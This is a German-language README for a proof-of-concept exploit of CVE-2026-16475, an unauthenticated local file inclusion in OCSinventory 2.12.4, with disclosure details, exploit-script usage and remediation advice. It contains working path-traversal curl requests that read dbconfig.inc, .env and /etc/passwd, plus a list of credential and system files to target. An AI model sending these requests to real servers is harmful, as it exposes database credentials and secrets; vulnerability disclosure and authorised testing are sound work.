CVE-2026-16475 - OCSinventory LFI PoC

Local-File-Inclusion-Schwachstelle in OCSinventory 2.12.4

Details zur Schwachstelle

CVE ID: CVE-2026-16475
CVSS-Score: 6.9 (Mittel)
CWE: CWE-98 (Unsachgemäße Kontrolle des Dateinamens für Include/Require-Anweisungen in PHP-Programmen)
Betroffene Version: OCSinventory 2.12.4
Status: In den neuesten Versionen gepatcht

Beschreibung

Im Endpunkt /ajax/teledeployoptions.php besteht eine Local-File-Inclusion-Schwachstelle (LFI), da der Parameter linkedoptions vor seiner Verwendung in einer dynamischen XML-Dateieinbindung nicht ordnungsgemäß bereinigt wird.

Der Endpunkt ist dafür ausgelegt, XML-Konfigurationsdateien zu laden, validiert den Parameter linkedoptions jedoch nicht ordnungsgemäß, was Pfad-Traversal-Angriffe ermöglicht.

Ein nicht authentifizierter Remote-Angreifer kann diese Schwachstelle ausnutzen, um:

• Beliebige XML-Dateien im Anwendungsverzeichnis einzubinden und darauf zuzugreifen
• Nicht-XML-Dateien über XML-Parser-Fehlermeldungen zu lesen
• Vertrauliche Informationen über interne Anwendungsressourcen preiszugeben
• Systemdateien aufzulisten und OS-Fingerprinting durchzuführen

Auswirkungen

• Vertraulichkeit: HOCH - Zugriff auf beliebige Dateien (Konfigurationsdateien, Quellcode, Logs, Systemdateien)
• Integrität: KEINE
• Verfügbarkeit: KEINE
• Erforderliche Authentifizierung: NEIN
• Benutzerinteraktion: NEIN

Verwendung

Voraussetzungen

pip install -r requirements.txt

Python-Version (empfohlen)

python3 exploit.py -u http://target.com -v

Optionen:

• -u, --url - Ziel-URL (erforderlich)
• -v, --verbose - Ausführliche Ausgabe
• -o, --output - Erfolgreiche Lesevorgänge in einer Datei speichern

Beispiel:

python3 exploit.py -u http://ocs.example.com -v -o results.txt

Bash-Version

./lfi_test.sh

Bearbeiten Sie die Variable BASE_URL im Skript:

BASE_URL="http://target.com/ajax/teledeployoptions.php"

Enumerierte Ziele

• Anwendungskonfigurationsdateien (dbconfig.inc, .env, config.inc)
• XML-Arbeitsdateien (bashscriptopt, executableopt, msiapplicationopt)
• System-Logs (apache2, mysql, auth)
• Systemdateien (/proc/, /etc/)
• Anwendungsgeheimnisse (composer, Paketdateien, .htaccess)

Ausnutzungsbeispiel

# Read database config
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../dbconfig.inc"

# Read passwd file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../../../../../../etc/passwd"

# Read environment file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../.env"

Behebung

Für Benutzer:

• Aktualisieren Sie OCSinventory sofort auf die neueste Version
• Implementieren Sie WAF-Regeln, um Pfad-Traversal-Muster zu blockieren

Für Entwickler:

• Verwenden Sie basename() oder ähnliche Funktionen, um Pfad-Traversal zu verhindern
• Validieren und bereinigen Sie alle Benutzereingaben vor Dateioperationen
• Implementieren Sie geeignete Zugriffskontrollen
• Verwenden Sie Allow-Listen für gültige Dateipfade

Referenzen

• INCIBE Advisory (ES) - Offizielle CVE-Koordinierungsstelle
• OCS Inventory GitHub
• OWASP Path Traversal
• CWE-98 Definition

Hinweis: CVE-2026-16475 wird über INCIBE koordiniert und ist möglicherweise noch nicht im NVD indexiert. Ziehen Sie für maßgebliche Informationen die INCIBE-Quelle heran.

Rechtliches

Nur für Bildungszwecke und autorisierte Tests

Den vollständigen rechtlichen Hinweis finden Sie in DISCLAIMER.md.

Autor

Adrián Ferrer Tarí

---

Verantwortungsvolle Offenlegung, koordiniert über INCIBE